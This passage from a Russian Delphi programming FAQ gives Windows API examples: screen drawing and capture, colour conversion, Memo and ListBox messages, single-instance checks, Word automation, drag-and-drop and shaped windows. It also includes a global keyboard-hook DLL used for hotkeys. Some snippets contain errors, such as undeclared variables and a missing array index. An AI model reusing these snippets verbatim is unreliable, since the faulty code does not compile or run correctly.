его работы.
Для этого надо воспользоваться функциями API. Получить контекст чужого окна, либо всего экрана:
function GetDC(Wnd: HWnd): HDC;
где Wnd — указатель на нужное окно, или 0 для получения контекста всего экрана.
И далее, пользуясь функциями API, нарисовать все что надо.
Пример:
PROCEDURE DrawOnScreen; VAR ScreenDC: hDC; BEGIN ScreenDC := GetDC(0); {получить контекст экрана} Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать} ReleaseDC(0,ScreenDC); {освободить контекст} END; Не забывайте после своих манипуляций посылать пострадавшим (или всем) окнам сообщение о необходимости перерисовки, для восстановления их первоначального вида.
{ Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах }{ Шрифт должен быть TrueType ! }procedure CanvasSetTextAngle(c: TCanvas; d: single);var LogRec: TLOGFONT; { Информация о шрифте }begin {Читаем текущюю инф. о шрифте } GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) ); { Изменяем угол } LogRec.lfEscapement := round(d*10); { Устанавливаем новые параметры } c.Font.Handle := CreateFontIndirect(LogRec);end;{ Максимальные значения }Const HLSMAX = 240; RGBMAX = 255; UNDEFINED = (HLSMAX*2) div 3;Var H, L, S : integer; { H-оттенок, L-яркость, S-насыщенность } R, G, B : integer; { цвета }procedure RGBtoHLS;Var cMax,cMin : integer; Rdelta,Gdelta,Bdelta : single;Begin cMax := max( max(R,G), B); cMin := min( min(R,G), B); L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) ); if (cMax = cMin) then begin S := 0; H := UNDEFINED; end else begin if (L <= (HLSMAX/2)) then S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) ) else S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) ) / (2*RGBMAX-cMax-cMin) ); Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin); Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin); Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin); if (R = cMax) then H := round(Bdelta - Gdelta) else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta) else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta ); if (H <0) then H:=H + HLSMAX; if (H > HLSMAX) then H:= H - HLSMAX; end; if S<0 then s:=0; if s>HLSMAX then S:=HLSMAX; if L<0 then l:=0; if l>HLSMAX then L:=HLSMAX;end;procedure HLStoRGB;Var Magic1,Magic2 : single; function HueToRGB(n1,n2,hue : single) : single; begin if (hue <0) then hue := hue+HLSMAX; if (hue > HLSMAX) then hue:=hue -HLSMAX; if (hue <(HLSMAX/6)) then result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) ) else if (hue <(HLSMAX/2)) then result:=n2 else if (hue <((HLSMAX*2)/3)) then result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6))) else result:= ( n1 ); end;begin if (S = 0) then begin B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B; end else begin if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX; Magic1 := 2*L-Magic2; R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX ); G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX ); B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX ); end; if R<0 then r:=0; if r>RGBMAX then R:=RGBMAX; if G<0 then g:=0; if g>RGBMAX then G:=RGBMAX; if B<0 then b:=0; if b>RGBMAX then B:=RGBMAX;end;Эта функция возвращает число бит на точку у данного компьютера. Так, например, 8 — 256 цветов, 4 — 16 цветов ...
function GetDisplayColors : integer;var tHDC : hdc;begin tHDC:=GetDC(0); result:=GetDeviceCaps(tHDC, 12)* GetDeviceCaps(tHDC, 14); ReleaseDC(0, tHDC);end;unit ScrnCap;interfaceuses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;{ Копирует прямоугольную область экрана }function CaptureScreenRect(ARect : TRect) : TBitmap;{ Копирование всего экрана }function CaptureScreen : TBitmap;{ Копирование клиентской области формы или элемента }function CaptureClientImage(Control : TControl) : TBitmap;{ Копирование всей формы элемента }function CaptureControlImage(Control : TControl) : TBitmap;{====================================================}implementationfunction GetSystemPalette : HPalette;var PaletteSize : integer; LogSize : integer; LogPalette : PLogPalette; DC : HDC; Focus : HWND;begin result:=0; Focus:=GetFocus; DC:=GetDC(Focus); try PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE); LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry); GetMem(LogPalette, LogSize); try with LogPalette^ do begin palVersion:=$0300; palNumEntries:=PaletteSize; GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry); end; result:=CreatePalette(LogPalette^); finally FreeMem(LogPalette, LogSize); end; finally ReleaseDC(Focus, DC); end;end;function CaptureScreenRect(ARect : TRect) : TBitmap;var ScreenDC : HDC;begin Result:=TBitmap.Create; with result, ARect do begin Width:=Right-Left; Height:=Bottom-Top; ScreenDC:=GetDC(0); try BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY ); finally ReleaseDC(0, ScreenDC); end; Palette:=GetSystemPalette; end;end;function CaptureScreen : TBitmap;begin with Screen do Result:=CaptureScreenRect(Rect(0,0,Width,Height));end;function CaptureClientImage(Control : TControl) : TBitmap;begin with Control, Control.ClientOrigin do result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));end;function CaptureControlImage(Control : TControl) : TBitmap;begin with Control do if Parent=Nil then result:=CaptureScreenRect(Bounds(Left,Top,Width,Height)) else with Parent.ClientToScreen(Point(Left, Top)) do result:=CaptureScreenRect(Bounds(X,Y,Width,Height));end;end.{************************ Draw Disabled Text ******************* This function draws text in "disabled" style. ********** i.e. the text is grayed . ***************************************************************}function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer; var Rect: TRect; Format: Word): Integer;begin SetBkMode(Canvas.Handle, TRANSPARENT); OffsetRect(Rect, 1, 1); Canvas.Font.color:= ClbtnHighlight; DrawText (Canvas.Handle, Str, Count, Rect,Format); Canvas.Font.Color:= ClbtnShadow; OffsetRect(Rect, -1, -1); DrawText (Canvas.Handle, Str, Count, Rect, Format);end;function SetFullscreenMode:Boolean;var DeviceMode : TDevMode;begin with DeviceMode do begin dmSize:=SizeOf(DeviceMode); dmBitsPerPel:=16; dmPelsWidth:=640; dmPelsHeight:=480; dmFields:=DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT; result:=False; if ChangeDisplaySettings(DeviceMode,CDS_TEST or CDS_FULLSCREEN) <> DISP_CHANGE_SUCCESSFUL then Exit; Result:=ChangeDisplaySettings(DeviceMode,CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL; end;end;procedure RestoreDefaultMode;var T : TDevMode absolute 0;begin ChangeDisplaySettings(T,CDS_FULLSCREEN);end;procedure TForm1.Button1Click(Sender: TObject);begin if setFullScreenMode then begin sleep(7000); RestoreDefaultMode; end;end; 1) Предполагается, что поле BLOB (например, Pict)
2) в запросе Query.SQL пишется что-то вроде
'select Pict from sometable where somefield=somevalue'3) запрос открывается
4) делается "присваивание":
Image1.Picture.Assing(TBlobField(Query.FieldByName('Pict'))или, если известно, что эта картинка — Bitmap, то можно
Image1.Picture.Bitmap.Assing(TBlobField(Query.FieldByName('Pict'))А можно воспользоваться компонентом TDBImage.
Каким образом извлечь иконку из EXE- и DLL-файлов (ExtractAssociatedIcon) и отобразить ее на компоненте Timage или небольшой области на форме?
--------------------------------------------------------------------------------
uses ShellApi; procedure TForm1.Button1Click(Sender: TObject);var IconIndex : word; h : hIcon;begin IconIndex := 0; h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex); DrawIcon(Form1.Canvas.Handle, 10, 10, h); end; Разное
Так же как в случае с TMemo, здесь можно использовать сообщения. Например, сообщение может быть отослано в момент создания формы:
procedure TForm1.FormCreate(Sender: TObject); begin ListBox1.Perform(LB_SETHORIZONTALEXTENT, 1000, Longint(0)); end; Второй параметр в вызове — ширина прокрутки в точках.
Есть функция API Windows, что заставляет искать строку в ListBox с указанной позиции.
Например, поиск строки, что начинается на '1.' От текущей позиции курсора в ListBox. Т.о., нажимая на кнопку Button1, будут перебраны все строки начинающиеся на '1.'
procedure TForm1.Button1Click(Sender: TObject); var S : string; begin S:='1.'; with ListBox1 do ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S)); end; Более подробную информацию о работе команды LB_SELECTSTRING можно узнать из Help-а Win32.
procedure TForm1.Memo1KeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);beginMemo1Click(Self);end;procedure TForm1.Memo1Click(Sender: TObject);VAR LineNum : LongInt; CharNum : LongInt;begin LineNum := Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); CharNum := Memo1.Perform(EM_LINEINDEX, LineNum, 0); Label1.Caption := IntToStr(LineNum+1)+' : '+IntToStr((Memo1.SelStart-CharNum)+1);end;procedure TForm1.FormCreate(Sender: TObject);begin Memo1Click(Self);end;В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:
Memo1.Perform(EM_UNDO,0,0);Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:
UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние строки ?
Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);Для Delphi 1. Каждый экземпляр программы имеет ссылку на свою предыдущую копию — hPrevInst: hWnd. Ее можно проверить перед созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия, то эта ссылка равна нулю.
Пример:
procedure TForm1.FormCreate(Sender: TObject); begin {Проверяем есть ли указатель на предыдущую копию приложения} IF hPrevInst <> 0 THEN BEGIN {Если есть, то выдаем сообщение и выходим} MessageDlg('Программа уже запущена!', mtError, [mbOk], 0); Halt; END; {Иначе - ничего не делаем (не мешаем созданию формы)}end;P.S. Для выхода необходимо использовать Halt, а не Close, как хотелось бы, так как форма еще не создана и закрывать нечего.
Есть и другой способ — по списку загруженных приложений
procedure TForm1.FormCreate(Sender: TObject);VARWnd : hWnd;buff : ARRAY[0.. 127] OF Char;BeginWnd := GetWindow(Handle, gw_HWndFirst);WHILE Wnd <> 0 DO BEGIN IF (Wnd <> Application.Handle) AND (GetWindow(Wnd, gw_Owner) = 0) THEN BEGIN GetWindowText (Wnd, buff, sizeof (buff )); IF StrPas (buff) = Application.Title THEN BEGIN MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0); Halt; END; END; Wnd := GetWindow (Wnd, gw_hWndNext); END;End;Еще один интересный способ для Win32. Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати, этот метод можно использовать и для обмена информацией между вашими приложениями.
Пример:
program Project1;uses Windows, // Обязательно Forms, Unit1 in 'Unit1.pas' {Form1};{$R *.RES}ConstMemFileSize = 1024;MemFileName = 'one_inst_demo_memfile';VarMemHnd : HWND;begin { Попытаемся создать файл в памяти } MemHnd := CreateFileMapping(HWND($FFFFFFFF), nil, PAGE_READWRITE, 0, MemFileSize, MemFileName); { Если файл не существовал запускаем приложение } if GetLastError<>ERROR_ALREADY_EXISTS then begin Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; end; CloseHandle(MemHnd);end.Часто при работе у пользователя может быть открыто 5–20 окон и сообщение о том, что программа уже запущено приводит к тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения — найдя копию программы активировать ее, для чего в последнем примере перед HALT необходимо добавить строку :
SetForegroundWindow(Wnd);Например так:
uses Windows, // !!! Forms, Unit0 in 'Unit0.pas' {Form1};var Handle1 : LongInt; Handle2 : LongInt;{$R *.RES}begin Application.Initialize; Handle1 := FindWindow('TForm1',nil); if handle1 = 0 then begin Application.CreateForm(TForm1, Form1); Application.Run; end else begin Handle2 := GetWindow(Handle1,GW_OWNER); //Чтоб заметили :) ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE); SetForegroundWindow(Handle1); // Активизируем end;end.Вывод сообщения: ShowMessage('сообщение');
Ввод текста от пользователя: S:=InputBox('Заголовок', 'Сообщение', S{строка по умолчанию});
unit Unit1;interfaceuses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;type TForm1 = class(TForm) Button1: TButton; Button2: TButton; Button3: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject);end;var Form1: TForm1;implementation{$R *.DFM}procedure TForm1.Button1Click(Sender: TObject);begin ShowMessage('Пример простого сообщения.'+#10+ 'Данное сообщение выводится всегда в центре экрана.');end;procedure TForm1.Button2Click(Sender: TObject);begin ShowMessagePos('Пример сообщения с указанием его положения на экране.', Form1.Left+Button2.Left, Form1.Top+Button2.Top);end;procedure TForm1.Button3Click(Sender: TObject);begin Button3.Caption := InputBox('Delphi для всех', 'Введите строку:', Button3.Caption);end;end.procedure TForm1.MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
const SC_DragMove = $F012; { a magic number }
begin
ReleaseCapture;
perform(WM_SysCommand, SC_DragMove, 0);
end;
I. Эмуляция нажатия клавиши.
Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage() (можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).
Код
Memo1.Perform(WM_CHAR, Ord('A'), 0);или
SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);приведет к печати символа "A" в объекте Memo1.
II. Перехват нажатий клавиши внутри приложения.
Задача решается очень просто. Можно у формы установить свойство KeyPreview в True и обрабатывать событие OnKeyPress. Второй способ — перехватывать событие OnMessage для объекта Application.
III. Перехват нажатия клавиши в Windows.
Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный момент активно другое приложение. Это может быть, например, программа, переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка — это пользовательская процедура, которая будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени его класса ("TForm1") и заголовку (caption, "XXX").
{текст библиотеки}library SendKey;usesWinTypes, WinProcs, Messages;const{пользовательские сообщения}wm_NextShow_Event = wm_User + 133;wm_PrevShow_Event = wm_User + 134;{handle для ловушки}HookHandle: hHook = 0;varSaveExitProc : Pointer;{собственно ловушка}function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;varH: HWND;begin{если Code>=0, то ловушка может обработать событие}if Code >= 0 then begin {это те клавиши?} if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and(lParam and $40000000 = 0) then begin {ищем окно по имени класса и по заголовку} H := FindWindow('TForm1', 'XXX'); {посылаем сообщение} if wParam = VK_ADD then SendMessage(H, wm_NextShow_Event, 0, 0) else SendMessage(H, wm_PrevShow_Event, 0, 0); end; {если 0, то система должна дальше обработать это событие} {если 1 - нет} Result:=0;endelse {если Code<0, то нужно вызвать следующую ловушку} Result := CallNextHookEx(HookHandle,Code, wParam, lParam);end;{при выгрузке DLL надо снять ловушку}procedure LocalExitProc; far;beginif HookHandle<>0 then begin UnhookWindowsHookEx(HookHandle); ExitProc := SaveExitProc;end;end;{инициализация DLL при загрузке ее в память}begin{устанавливаем ловушку} HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook, hInstance, 0);if HookHandle = 0 then MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)else begin SaveExitProc := ExitProc; ExitProc := @LocalExitProc;end;end.Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.
Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто отображая их в Label1.
unit Unit1;interfaceusesSysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls;{пользовательские сообщения}constwm_NextShow_Event = wm_User + 133;wm_PrevShow_Event = wm_User + 134;type TForm1 = class(TForm) Label1: TLabel; procedure FormCreate(Sender: TObject); private{обработчики сообщений} procedure WM_NextMSG (Var M : TMessage); message wm_NextShow_Event; procedure WM_PrevMSG (Var M : TMessage); message wm_PrevShow_Event; end;var Form1: TForm1; P : Pointer;implementation{$R *.DFM}{загрузка DLL}function Key_Hook : Longint; far; external 'SendKey';procedure TForm1.WM_NextMSG (Var M : TMessage);begin Label1.Caption:='Next message';end;procedure TForm1.WM_PrevMSG (Var M : TMessage); begin Label1.Caption:='Previous message';end;procedure TForm1.FormCreate(Sender: TObject);begin {если не использовать вызов процедуры из DLL в программе, то компилятор удалит загрузку DLL из программы} P:=@Key_Hook;end;end.Конечно, свойство Caption в этой форме должно быть установлено в "XXX".
Ставите у формы KeyPreview = true и создаете событие KeyPress следующего вида:
procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char); begin if (Key = #13) then begin Key:=#0; Perform(WM_NEXTDLGCTL,0,0); end; end; Вопрос:
Каким образом можно отследить вставку и удаление компонент в форму в design-time? Такая информация могла бы пригодится, если моя компонента имеет ссылки на другие компоненты (например, как в связке TDateSource,TTable и др.)
Ответ:
Для получения такой информации предназначен метод
procedure Notification (AComponent: TComponent; Operation: TOperation); virtual;класса TComponent. Перекрыв его в своей компоненты Вы можете произвести необходимые действия, в зависимости от значения параметра Operation типа
TOperation = (opInsert, opRemove);объявленного в модуле Classes. Параметр AComponent — компонента, соответственно вставлемая или удаляемая, в зависимости от Operation.
(Пример для Delphi 1.0 поскольку в Delphi 2-3 лучше использовать:
var MsWord : variant;MsWord := CreateOleObject('Word.Basic'); Для Delphi 3, пример ниже)
Создавать отчет в программе Word удобно если отчет имеет сложную структуру (тогда его быстрее создать в Word, чем в Qreport от Delphi, кроме того, этот QReport имеет "глюки"), либо, если после создания отчета его нужно будет изменять. Итак, первым делом в Word создается шаблон будущего отчета, это самый обыкновенный не заполненный отчет. А в места куда будет записываться информация нужно поставить метки. Например (для наглядности метки показаны синим цветом, реально они конечно не видны):
Накладная № Num
| № | Поставщик | Наименование товара | Код товара | Кол-во | Цена | Сумма |
|---|---|---|---|---|---|---|
| Table | ? | ? | ? | ? | ? | ? |
Сдал_______________________ Принял________________________
М.П. М.П.
Далее в форму, откуда будут выводиться данные, вставляете компоненту DdeClientConv из палитры System. Назовем ее DDE1. Эта компонента позволяет передавать информацию между программами методом DDE. Свойства:
ConnectMode : ddeManual — связь устанавливаем вручную
DdeService : (winword) — с кем устанавливается связь
ServiceApplication : C:\MSOffice\Winword\WINWORD.EXE — полный путь доступа к программе. (Вот здесь можно наступить на грабли. Ведь Word может лежать в любой папке! Поэтому путь доступа к нему лучше взять из реестра, а еще лучше использовать OLE см.начало раздела)
Теперь пишем процедуру передачи данных:
{ Печать накладной }procedure Form1.PrintN;Var S : string; i : integer; Sum : double; {итоговая сумма, кстати,совет: не пользуйтесь типом real!} Tv, Ss : PChar;beginS:=GetCurrentDir+'\Накладная.doc'; { имя открываемого документа }DDE1.OpenLink; { устанавливаем связь }Tv:=StrAlloc(20000); Ss:=StrAlloc(300); { выделяем память } { даем команду открыть документ и установить курсор в начало документа }StrPCopy(Tv, '[FileOpen "'+S+'"][StartOfDocument]');S:=NNakl.Text; { номер накладной } { записываем в позицию Num номер накладной }StrCat(Tv, StrPCopy(SS, '[EditBookmark .Name = "Num", .Goto][Insert "'+S+'"]'+'[EditBookmark .Name = "Table", .Goto]'); { и переходим к заполнению таблицы } { передаем данные в Word }if not DDE1.ExecuteMacro(Tv, false) then begin { сообщаем об ошибке и выход } MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0); StrDispose(Tv); StrDispose(Ss); exit; end; { Заполняем таблицу }Sum:=0; Nn:=0;for i:=0 to TCount dobegin inc(Nn); { предполагаем, что данные находятся в массиве T } StrPCopy(Tv, '[Insert "'+IntToStr(Nn)+'"][NextCell][Insert "'+T[i].Company+'"]'+ '[NextCell][Insert "'+T.TName+'"][NextCell][Insert "'+T.Cod+'"][NextCell]'+ '[Insert "'+IntToStr(T.Count)+'"][NextCell]'+ '[Insert "'+FloatToStr(T.Cena)+'"][NextCell]'+ '[Insert "'+FloatToStr(T.Count*T.Cena)*+'"][NextCell]')); inc(Nn); Sum:=Sum+(T.Count*T.Cena); { итоговая сумма } if not DDE1.ExecuteMacro(Tv, false) then begin MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0); exit; end;end;{ Записываем итоговую сумму }StrPCopy(Tv, '[NextCell][Insert "Итого"][NextCell][NextCell][NextCell]'+ '[Insert "'+FloatToStr(Sum)+'"]'));if not DDE1.ExecuteMacro(Tv, false) then MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0) else MessageDlg('Акт удачно создан. Перейдите в Microsoft Word.', mtInformation, [mbOk], 0);StrDispose(Tv); StrDispose(Ss);end;Для Delphi 2 и выше
=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===
Пример проверен только на русском Word 7.0! Может, поможет...
unit InWord;interfaceuses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2[skip]procedure TPrintForm.MPrintClick(Sender: TObject);var W: Variant; S: String;begin S:=IntToStr(Num); try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end;end;{.....}=== Cut Конец примера ===
Спасибо Сергею :) И еще, как определить установлен ли на компьютере Word, запустить его и загрузить в него текст из программы?
Пример:
varMsWord: Variant;...try// Если Word уже запущенMsWord := GetActiveOleObject('Word.Application');// Взять ссылку на запущенный OLE объектexcept try // Word не запущен, запустить MsWord := CreateOleObject('Word.Application'); // Создать ссылку на зарегистрированный OLE объект MsWord.Visible := True; except ShowMessage('Не могу запустить Microsoft Word'); Exit; end; end;end;...MSWord.Documents.Add; // Создать новый документMsWord.Selection.Font.Bold := True; // Установить жирный шрифтMsWord.Selection.Font.Size := 12; // установить 12 кегльMsWord.Selection.TypeText('Текст');По командам OLE Automation сервера см. help по Microsoft Word Visual Basic.
Ну вот и все.
{ На эту форму можно бросить файл (например из проводника) и он будет открыт }unit Unit1;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, ShellAPI {обязательно!};type TForm1 = class(TForm) Memo1: TMemo; FileNameLabel: TLabel; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); protected {Это и есть самая главная процедура} procedure WMDropFiles(var Msg: TMessage); message wm_DropFiles; end;var Form1: TForm1;implementation{$R *.DFM}procedure TForm1.WMDropFiles(var Msg: TMessage);var Filename: array[0 .. 256] of Char; Count : integer;begin { Получаем количество файлов (просто пример) } nCount := DragQueryFile( msg.WParam, $FFFFFFFF, acFileName, cnMaxFileNameLen);{ Получаем имя первого файла } DragQueryFile( THandle(Msg.WParam), 0, { это номер файла } Filename,SizeOf(Filename) ) ; { Открываем его } with FileNameLabel do begin Caption := LowerCase(StrPas(FileName)); Memo1.Lines.LoadfromFile(Caption); end;{ Отдаем сообщение о завершении процесса } DragFinish(THandle(Msg.WParam));end;procedure TForm1.FormCreate(Sender: TObject);begin{ Говорим Windows, что на нас можно бросать файлы }DragAcceptFiles(Handle, True); end;procedure TForm1.FormDestroy(Sender: TObject);begin{ Закрываем за собой дверь золотым ключиком}DragAcceptFiles(Handle, False); end;end.Часто возникает проблема — в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка...). Это легко сделать, используя команду API FlashWindow:
procedure TForm1.Timer1Timer(Sender: TObject); begin FlashWindow(Handle,true); end; В данном примере FlashWindow вызывается по таймеру ежесекундно, что приводит к миганию заголовка окна.
Сведения о программе, авторские права и т.д., лучше оформить в виде отдельной формы и показывать ее при запуске программы (как это сделано в Word).
Сделать это не сложно:
1. Создаете форму (например SplashForm).
2. Объявляете ее свободной (availableForms).
3. В Progect Source вставляете следующее (например):
program Splashin; uses Forms, Main in 'MAIN.PAS', Splash in 'SPLASH.PAS' {$R *.RES} begin try SplashForm := TSplashForm.Create(Application); SplashForm.Show; SplashForm.Update; Application.CreateForm(TMainForm, MainForm); SplashForm.Hide; finally SplashForm.Free; end; Application.Run; end. И форма SplashForm держится на экране пока выполняется Create в главной форме. Но иногда она появляется и пропадает очень быстро, поэтому нужно сделать задержку:
1. Добавляете на форму таймер с событием:
procedure TSplashForm.Timer1Timer(Sender: TObject); begin Timer1.Enabled := False; end; 2. Событие onCloseQuery для формы:
procedure TSplashForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin CanClose := Not Timer1.Enabled;end; 3. И перед SplashForm.Hide; ставите цикл:
repeat Application.ProcessMessages; until SplashForm.CloseQuery; 4. Все! Осталось установить на таймере период задержки 3-4 секунды.
5. На последок, у такой формы желательно убрать Caption:
SetWindowLong(Main.Handle,GWL_STYLE, GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);Эта форма имет прозрачный фон!!!
unit unit1;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;type TForm1 = class(TForm) Button1: TButton; Button2: TButton; // это просто кнопка на форме - для демонстрации protected procedure RebuildWindowRgn; procedure Resize; override; public constructor Create(AOwner: TComponent); override; end;var Form1 : TForm1;implementation// ресурс этой формы{$R *.DFM}{ Прозрачная форма }constructor TForm1.Create(AOwner: TComponent);begin inherited; // убираем сколлбары, чтобы не мешались // при изменении размеров формы HorzScrollBar.Visible:= False; VertScrollBar.Visible:= False;// строим новый регион RebuildWindowRgn;end;procedure TForm1.Resize;begin inherited; // строим новый регион RebuildWindowRgn;end;procedure TForm1.RebuildWindowRgn;var FullRgn, Rgn: THandle; ClientX, ClientY, I: Integer;begin// определяем относительные координаты клиенской части ClientX:= (Width - ClientWidth) div 2; ClientY:= Height - ClientHeight - ClientX; // создаем регион для всей формы FullRgn:= CreateRectRgn(0, 0, Width, Height); // создаем регион для клиентской части формы // и вычитаем его из FullRgn Rgn:= CreateRectRgn(ClientX, ClientY, ClientX + ClientWidth, ClientY +ClientHeight); CombineRgn(FullRgn, FullRgn, Rgn, rgn_Diff);// теперь добавляем к FullRgn регионы каждого контрольного элемента for I:= 0 to ControlCount -1 do with Controls[I] do begin Rgn:= CreateRectRgn(ClientX + Left, ClientY + Top, ClientX + Left +Width, ClientY + Top + Height); CombineRgn(FullRgn, FullRgn, Rgn, rgn_Or); end;// устанавливаем новый регион окна SetWindowRgn(Handle, FullRgn, True);end;end.А как Вам понравится эта форма ?unit rgnu;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, Menus;type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure FormPaint(Sender: TObject); private { Private declarations } rTitleBar : THandle; Center : TPoint; CapY : Integer; Circum : Double; SB1 : TSpeedButton; RL, RR : Double; procedure TitleBar(Act : Boolean); procedure WMNCHITTEST(var Msg: TWMNCHitTest); message WM_NCHITTEST; procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE); message WM_NCACTIVATE; procedure WMSetText(var Msg: TWMSetText); message WM_SETTEXT; end;var Form1: TForm1;implementation{$R *.DFM}CONST TitlColors : ARRAY[Boolean] OF TColor = (clInactiveCaption, clActiveCaption); TxtColors : ARRAY[Boolean] OF TColor = (clInactiveCaptionText, clCaptionText);procedure TForm1.FormCreate(Sender: TObject);VAR rTemp, rTemp2 : THandle; Vertices : ARRAY[0..2] OF TPoint; X, Y : INteger;begin Caption := 'OOOH! Doughnuts!'; BorderStyle := bsNone; {required} IF Width > Height THEN Width := Height ELSE Height := Width; {harder to calc if width <> height} Center := Point(Width DIV 2, Height DIV 2); CapY := GetSystemMetrics(SM_CYCAPTION)+8; rTemp := CreateEllipticRgn(0, 0, Width, Height); rTemp2 := CreateEllipticRgn((Width DIV 4), (Height DIV 4), 3*(Width DIV 4), 3*(Height DIV 4)); CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF); SetWindowRgn(Handle, rTemp, True); DeleteObject(rTemp2); rTitleBar := 